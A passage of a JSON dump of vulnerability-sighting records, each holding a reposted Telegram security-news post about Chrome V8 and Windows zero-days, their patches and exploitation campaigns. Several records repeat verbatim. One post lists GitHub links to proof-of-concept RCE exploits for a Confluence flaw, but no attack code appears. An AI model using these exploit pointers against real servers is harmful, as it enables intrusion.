Elevation of Privilege Vulnerability. Rating: Important. CVSS 5.2 CVE-2021-33742This RCE vulnerability exploits MSHTML, a component used by the Internet Explorer engine to read and display content from websites.The bug could allow an attacker to execute code on a target system if a user views specially crafted web content. The Zero Day Initiative\u2018s (ZDI\u2019s) Dustin Childs noted in his Patch Tuesday analysis that since the vulnerability is in the Trident (MSHTML) engine itself, many different applications are affected, not just Internet Explorer. \u201cIt\u2019s not clear how widespread the active attacks are, but considering the vulnerability impacts all supported Windows versions, this should be at the top of your test and deploy list,\u201d he recommended.\n\nThe vulnerability doesn\u2019t require special privilege to exploit, though the attack complexity is high, if that\u2019s any consolation. An attacker would need to do some extra legwork to pull it off, noted Satnam Narang, staff research engineer at Tenable, in an email to Threatpost on Tuesday.\n\nImmersive Labs\u2019 Kevin Breen, director of cyber threat research, noted that visiting a website in a vulnerable browser is \u201ca simple way for attackers to deliver this exploit.\u201d He told Threatpost via email on Tuesday that since the library is used by other services and applications, \u201cemailing HTML files as part of a phishing campaign is also a viable method of delivery.\u201d Sophos decreed\u00a0this one to be the top concern of this month\u2019s crop, given that it\u2019s already being actively exploited by malicious actors. See Also: Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat CVE-2021-31955, CVE-2021-31956: Used in PuzzleMaker Targeted MalwareCVE-2021-31955 is an information disclosure vulnerability in the Windows Kernel, while CVE-2021-31956 is an elevation of privilege vulnerability in Windows NTFS. The ZDI\u2019s Childs noted that CVE-2021-31956 was reported by the same researcher who found CVE-2021-31955, an information disclosure bug also listed as under active attack. They could be linked, he suggested: \u201cIt\u2019s possible these bugs were used in conjunction, as that is a common technique \u2013 use a memory leak to get the address needed to escalate privileges. These bugs are important on their own and could be even worse when combined. Definitely prioritize the testing and deployment of these patches.\u201d\n\nHe was spot-on. On Tuesday, Kaspersky announced that its researchers had discovered a highly targeted malware campaign launched in April against multiple companies, in which a previously unknown threat actor used a chain of Chrome and Windows zero-day exploits: Namely, these two.\n\nIn a press release, Kaspersky said that one of the exploits was used for RCE in the Google Chrome web browser, while the other was an elevation of privilege exploit fine-tuned to target \u201cthe latest and most prominent builds\u201d of Windows 10.\n\n\u201cRecent months have seen a wave of advanced threat activity exploiting zero-days in the wild,\u201d according to the release. \u201cIn mid-April, Kaspersky experts discovered yet a new series of highly targeted exploit attacks against multiple companies that allowed the attackers to stealthily compromise the targeted networks.\u201d\n\nKaspersky hasn\u2019t yet found a connection between these attacks and any known threat actors, so it\u2019s gone ahead and dubbed the actor PuzzleMaker. It said that all the attacks were conducted through Chrome and used an exploit that allowed for RCE. Kaspersky researchers weren\u2019t able to retrieve the code for the exploit, but the timeline and availability suggests the attackers were using the now-patched CVE-2021-21224\u00a0[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:38.061159Z"}, {"uuid": "23cbf460-c87d-404d-b702-cef20009e6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/48245", "content": "Black Hat Ethical Hacking\nGoogle Chrome Bug Actively Exploited as Zero-Day\n\nGoogle Chrome Bug Actively Exploited as Zero-DayPost Views: 32 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nGoogle issued an update for the bug, which is found in the open-source V8 JavaScript engine.\nGoogle has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\nSee Also: Complete Offensive Security and Ethical Hacking Course\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n* CVE-2021-21148\u00a0\u2013 Feb. 4, an unnamed type of bug in V8\n* CVE-2021-21224\u00a0\u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:02.710519Z"}, {"uuid": "a944772a-03fc-46ae-92a9-8b0d1347567f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/hacking_Attack/23972", "content": "ock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\nSee Also: Offensive Security Tool: Jenkins Attack Framework 10th Zero-Day in 2021 for Google\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n* CVE-2021-21148\u00a0\u2013 (February)\n* CVE-2021-21166\u00a0\u2013 (March)\n* CVE-2021-21193\u00a0\u2013 (March)\n* CVE-2021-21220\u00a0\u2013 (April)\n* CVE-2021-21224\u00a0\u2013 (April, later used in Windows attacks)\n* CVE-2021-30551\u00a0\u2013 (June)\n* CVE-2021-30554\u00a0\u2013 (June)\n* CVE-2021-30563\u00a0\u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple rushed a fix\u00a0for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project\u2019s Confluence server hacked to mine Monero1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution2 weeks ago\nThe post Pair of Google Chrome Zero-Day Bugs Actively Exploited first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-02T01:02:53.206688Z"}, {"uuid": "e278fc6e-8be3-4d6c-ba0c-882ca5bbf98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/23972", "content": "ock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\nSee Also: Offensive Security Tool: Jenkins Attack Framework 10th Zero-Day in 2021 for Google\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n* CVE-2021-21148\u00a0\u2013 (February)\n* CVE-2021-21166\u00a0\u2013 (March)\n* CVE-2021-21193\u00a0\u2013 (March)\n* CVE-2021-21220\u00a0\u2013 (April)\n* CVE-2021-21224\u00a0\u2013 (April, later used in Windows attacks)\n* CVE-2021-30551\u00a0\u2013 (June)\n* CVE-2021-30554\u00a0\u2013 (June)\n* CVE-2021-30563\u00a0\u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple rushed a fix\u00a0for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/banner-2021.3-release-90x90.jpg Kali Linux 2021.3 released: Kali NetHunter on a smartwatch, wider OpenSSL compatibility, new tools1 day ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-exploit-90x90.jpg Microsoft Patches Actively Exploited Windows Zero-Day Bug2 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Apple-marketing-communications-mix-90x90.jpg Apple Issues Emergency Fix for NSO Zero-Click Zero Day3 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/zeroday-90x90.png Windows MSHTML zero-day exploits shared on hacking forums4 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/microsoft-zero-day-vulnerabilities-800x358-1-90x90.png Windows MSHTML zero-day defenses bypassed as new info emerges7 days ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Malware-90x90.jpg Microsoft shares temp fix for ongoing Office 365 zero-day attacks1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Jenkins-90x90.jpg Jenkins project\u2019s Confluence server hacked to mine Monero1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/unnamed-e1630998483665-90x90.jpg Critical Auth Bypass Bug Affect NETGEAR Smart Switches1 week ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/loyalty-card-90x90.jpg Brute-Force Attacks Target Inboxes for Gift Card Data2 weeks ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Braktooth-New-Bluetooth-gaps-threaten-countless-devices-1024x576-1-90x90.jpg Bluetooth Bugs Open Billions of Devices to DoS, Code Execution2 weeks ago\nThe post Pair of Google Chrome Zero-Day Bugs Actively Exploited first appeared on Black Hat Ethical Hacking.", "creation_timestamp": "2026-09-02T01:02:53.311095Z"}, {"uuid": "2900c378-de20-48b3-81dc-770827ccb200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21220", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:48.572880Z"}, {"uuid": "baa8d52d-e386-4433-923c-51771be53438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/25743", "content": "Black Hat Ethical Hacking\nGoogle pushes emergency Chrome update to fix two zero-days\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Google pushes emergency Chrome update to fix two zero-daysPost Views: 73 \nReading Time: 1 Minute\nGoogle has released Chrome 94.0.4606.71 for Windows, Mac, and Linux, to fix two zero-day vulnerabilities that have been exploited by attackers.\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed in the list of security fixes\u00a0fixed in today\u2019s Google Chrome release.\n\nGoogle has started rolling out Chrome 94.0.4606.71 to users worldwide\u00a0in the Stable Desktop channel and should be available to all users within the coming days.\n\nTo install the update immediately, Google Chrome users can go to Chrome menu > Help > About Google Chrome, and the browser will begin performing the update.\n\nIn our tests, the new version of the browser was installed immediately using the above steps.\nhttps://www.bleepstatic.com/images/news/web-browsers/chrome/chrome-94.jpg \nZero-day attacks\u2019 details not disclosedWhile this Chrome release includes fixes for four security vulnerabilities, the two zero-days are concerning as they are known to have been exploited in the wild.\n\nThe first zero-day, tracked as CVE-2021-37976, is described as an \u201cInformation leak in core\u201d and was assigned a Medium severity level. This vulnerability was discovered by Cl\u00e9ment Lecigne from Google TAG, with technical assistance from Sergei Glazunov and Mark Brand from Google Project Zero, on September 21st, 2021.\n\nThe second zero-day, tracked as CVE-2021-37975, is a High severity user after free\u00a0bug in the Chrome V8 JavaScript engine. The researcher disclosed this vulnerability on September 24th and wished to remain anonymous.\n\nUse after free bugs are commonly used to perform remote code execution or escape the browser\u2019s security sandbox.\n\nAt this time, there are no other details regarding how these zero-day vulnerabilities were used in attacks but may be released in future reports by Google TAG or Project Zero.\n2 more in-the-wild 0days fixed by Chrome:\n* CVE-2021-37975 use-after-free in V8 by anonymous\n* CVE-2021-37976 info leak in core by @_clem1 #itw0days\n\nThe release cycle that Chrome is making happen in order to get these patches out is pretty impressivehttps://t.co/j1xPY4zjlP\n\n\u2014 Maddie Stone (@maddiestone) September 30, 2021\nSee Also: Hackers exploiting critical VMware vCenter CVE-2021-22005 bug Chrome users should perform a manual upgrade or restart their browser to install the latest version and prevent exploitation attempts. Thirteenth zero-day fixed this yearWith these two fixes, Google has patched 13\u00a0zero-day vulnerabilities in the Chrome web browser since the start of 2021.\n\nThe other Chrome zero-day bugs Google fixed this year are:\n\n* CVE-2021-21148\u00a0\u2013 February 4th, 2021\n* CVE-2021-21166\u00a0\u2013 March 2nd, 2021\n* CVE-2021-21193\u00a0\u2013 March 12th, 2021\n* CVE-2021-21220\u00a0\u2013 April 13th, 2021\n* CVE-2021-21224\u00a0\u2013 April 20th, 2021\n* CVE-2021-30551\u00a0\u2013 June 9th, 2021\n* CVE-2021-30554\u00a0\u2013 June 17th, 2021\n* CVE-2021-30563\u00a0\u2013 July 15th, 2021\n* CVE-2021-30632 and CVE-2021-30633\u00a0\u2013 September 13th\n* CVE-2021-37973\u00a0\u2013 September 24th, 2021\n\nAs Google is\u00a0rushing out Chrome updates to fix zero-days as they are reported, it is always critical to install new browser updates as soon as they become available.\nSee Also: Offensive Security Tool: Discover\n[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:48.641428Z"}, {"uuid": "e7f6fb6f-d80d-4be0-850e-34997af60016", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/18949", "content": "Black Hat Ethical Hacking\nBugs in Chrome\u2019s JavaScript engine can lead to powerful exploits. This project aims to stop them\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Bugs in Chrome\u2019s JavaScript engine can lead to powerful exploits. This project aims to stop themPost Views: 45 \nReading Time: 1 Minute\nA new project hopes to beef up the security of V8, a part of the Chrome browser that most users aren\u2019t aware of but that hackers increasingly see as a juicy target.\nJavaScript makes the web go around and Google has had to patch multiple\u00a0zero-day or previously unknown flaws\u00a0in Chrome\u2019s V8 JavaScript engine this year. In April, Google admitted a high severity bug in V8 tracked as CVE-2021-21224\u00a0was being exploited in the wild. \n\nChrome has over two billion users, so when zero-day exploits strike Chrome, it\u2019s a big deal. V8, an open source Google project, is a powerful JavaScript engine for Chrome that\u2019s helped advance the web and web applications. V8 also powers the server-side runtime Node.js. \n\nNow Samuel Gro\u00df, a member of the Google Project Zero security researchers team, has detailed a V8 sandbox proposal\u00a0to help protect its memory from nastier bugs in the engine using virtual machine and sandboxing technologies. \n\n\u201cV8 bugs typically allow for the construction of unusually powerful exploits. Furthermore, these bugs are unlikely to be mitigated by memory safe languages or upcoming hardware-assisted security features such as MTE or CFI,\u201d explains Gro\u00df, referring to security technologies like Microsoft\u2019s Control-flow integrity (CFI) and Intel\u2019s control-flow enforcement technologies (CET). \n\n\u201d As a result, V8 is especially attractive for real-world attackers.\u201d\nSee Also: Hackers used never-before-seen wiper in recent attack on Iranian train system Gro\u00df\u2019s comments suggest that even adopting a memory-safe language like Rust\u00a0\u2014 which Google has adopted for new Android code\u00a0\u2014 wouldn\u2019t immediately solve the security problems faced by V8, which is written in C++. \nHe also outlines the broad design objectives but, signaling the size of the project, stresses that this sandbox project is in its infancy\u00a0and that there are some big hurdles to overcome. But V8 is a Google-led open source project and given that V8 has been the source of security vulnerabilities in Chrome, there is a chance that member of GPZ\u2019s proposal could make it across the line.\n\nThe issues affect how browser software interacts with hardware beyond the operating system and aims to prevent future flaws in V8 from corrupting a computer\u2019s memory outside of the V8 heap. This would allow an attacker to execute malicious code. \nSee Also: Offensive Security Tool: Ruler One consideration for the additional security protections for V8 is the impact on hardware performance. Gro\u00df estimates his proposal would cause an overhead of about \u201c1% overall on real-world workloads\u201d. \n\nGro\u00df explains the problem with V8 that stems from JIT compilers that can be used trick a machine into emitting machine code that corrupts memory at runtime. \n\n\u201cMany V8 vulnerabilities exploited by real-world attackers are effectively 2nd order vulnerabilities: the root-cause is often a logic issue in one of the JIT compilers, which can then be exploited to generate vulnerable machine code (e.g. code that is missing a runtime safety check). The generated code can then in turn be exploited to cause memory corruption at runtime.\u201d See Also: Hacking Stories: Andrian Lamo \u2013 The \u2018homeless\u2019 Hacker He also highlights the shortcomings of the latest security technologies, including hardware-based mitigations, that will make [...]", "creation_timestamp": "2026-09-02T01:03:04.507278Z"}, {"uuid": "c163fe3b-1705-4d1d-b680-74449c2f8b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21224", "type": "seen", "source": "https://t.me/hacking_Attack/12055", "content": "nt. CVSS 8.4\n* CVE-2021-33742\u00a0\u2013 Windows MSHTML Platform Remote Code Execution Vulnerability. Rating: Critical. CVSS 7.5\n* CVE-2021-31199\u00a0\u2013 Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability. Rating: Important. CVSS 5.2\n* CVE-2021-31201\u00a0\u2013 Microsoft Enhanced Cryptographic Provider Elevation of Privilege Vulnerability. Rating: Important. CVSS 5.2 CVE-2021-33742This RCE vulnerability exploits MSHTML, a component used by the Internet Explorer engine to read and display content from websites.The bug could allow an attacker to execute code on a target system if a user views specially crafted web content. The Zero Day Initiative\u2018s (ZDI\u2019s) Dustin Childs noted in his Patch Tuesday analysis that since the vulnerability is in the Trident (MSHTML) engine itself, many different applications are affected, not just Internet Explorer. \u201cIt\u2019s not clear how widespread the active attacks are, but considering the vulnerability impacts all supported Windows versions, this should be at the top of your test and deploy list,\u201d he recommended.\n\nThe vulnerability doesn\u2019t require special privilege to exploit, though the attack complexity is high, if that\u2019s any consolation. An attacker would need to do some extra legwork to pull it off, noted Satnam Narang, staff research engineer at Tenable, in an email to Threatpost on Tuesday.\n\nImmersive Labs\u2019 Kevin Breen, director of cyber threat research, noted that visiting a website in a vulnerable browser is \u201ca simple way for attackers to deliver this exploit.\u201d He told Threatpost via email on Tuesday that since the library is used by other services and applications, \u201cemailing HTML files as part of a phishing campaign is also a viable method of delivery.\u201d Sophos decreed\u00a0this one to be the top concern of this month\u2019s crop, given that it\u2019s already being actively exploited by malicious actors. See Also: Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat CVE-2021-31955, CVE-2021-31956: Used in PuzzleMaker Targeted MalwareCVE-2021-31955 is an information disclosure vulnerability in the Windows Kernel, while CVE-2021-31956 is an elevation of privilege vulnerability in Windows NTFS. The ZDI\u2019s Childs noted that CVE-2021-31956 was reported by the same researcher who found CVE-2021-31955, an information disclosure bug also listed as under active attack. They could be linked, he suggested: \u201cIt\u2019s possible these bugs were used in conjunction, as that is a common technique \u2013 use a memory leak to get the address needed to escalate privileges. These bugs are important on their own and could be even worse when combined. Definitely prioritize the testing and deployment of these patches.\u201d\n\nHe was spot-on. On Tuesday, Kaspersky announced that its researchers had discovered a highly targeted malware campaign launched in April against multiple companies, in which a previously unknown threat actor used a chain of Chrome and Windows zero-day exploits: Namely, these two.\n\nIn a press release, Kaspersky said that one of the exploits was used for RCE in the Google Chrome web browser, while the other was an elevation of privilege exploit fine-tuned to target \u201cthe latest and most prominent builds\u201d of Windows 10.\n\n\u201cRecent months have seen a wave of advanced threat activity exploiting zero-days in the wild,\u201d according to the release. \u201cIn mid-April, Kaspersky experts discovered yet a new series of highly targeted exploit attacks against multiple companies that allowed the attackers to stealthily compromise the targeted networks.\u201d\n\nKaspersky hasn\u2019t yet found a connection between these attacks and any known threat actors, so it\u2019s gone ahead and dubbed the actor PuzzleMaker. It said that all the attacks were conducted through Chrome and used an exploit that allowed for RCE. Kaspersky researchers weren\u2019t able to retrieve the code for the exploit, but the timeline and availability suggests the attackers were using the now-patched CVE-2021-21224\u00a0[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:13.807482Z"}, {"uuid": "540b7956-b9be-4e81-b88a-d21e602e3586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/cissp/4242", "content": "exploit\nCVE-2021-26084:\nConfluence Server Webwork OGNL Injection\nhttps://github.com/alt3kx/CVE-2021-26084_PoC\n]-> https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\n]-> RCE PoC:\nhttps://github.com/FanqXu/CVE-2021-26084\n\nAnalytics\nTop 10 Most Used Vulns of the Month (Aug 1-31)\nCVE-2021-1675 - Print Spooler EoP\nCVE-2021-31956 - Win NTFS EoP\nCVE-2021-36958 - Print Spooler RCE\nCVE-2021-39137 - A consensus-vuln in go-eth\nCVE-2021-22937 - Pulse ConnSecure RCE\nCVE-2021-34473 - Pre-auth Path Confusion\nhttps://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell\nCVE-2021-21225 - Vuln in V8's Array.prototype.concat\nCVE-2021-20090 - Path traversal in Buffalo routers\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nCVE-2021-3711 - Vulns in OpenSSL\nhttps://nakedsecurity.sophos.com/2021/08/27/big-bad-decryption-bug-in-openssl-but-no-cause-for-alarm", "creation_timestamp": "2026-09-02T01:04:27.881093Z"}, {"uuid": "e077f0e5-ffc0-4151-9577-3eca5a84e9f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-21225", "type": "seen", "source": "https://t.me/cissp/4033", "content": "Red Team Tactics \nThe Complete Guide to Prototype Pollution Vulnerabilities\nhttps://www.whitesourcesoftware.com/resources/blog/prototype-pollution-vulnerabilities\n\nWLAN Security\nMultiple Issues in Realtek SDK Affects Hundreds of Thousands of Devices Down the Supply Chain (CVE-2021-35392, 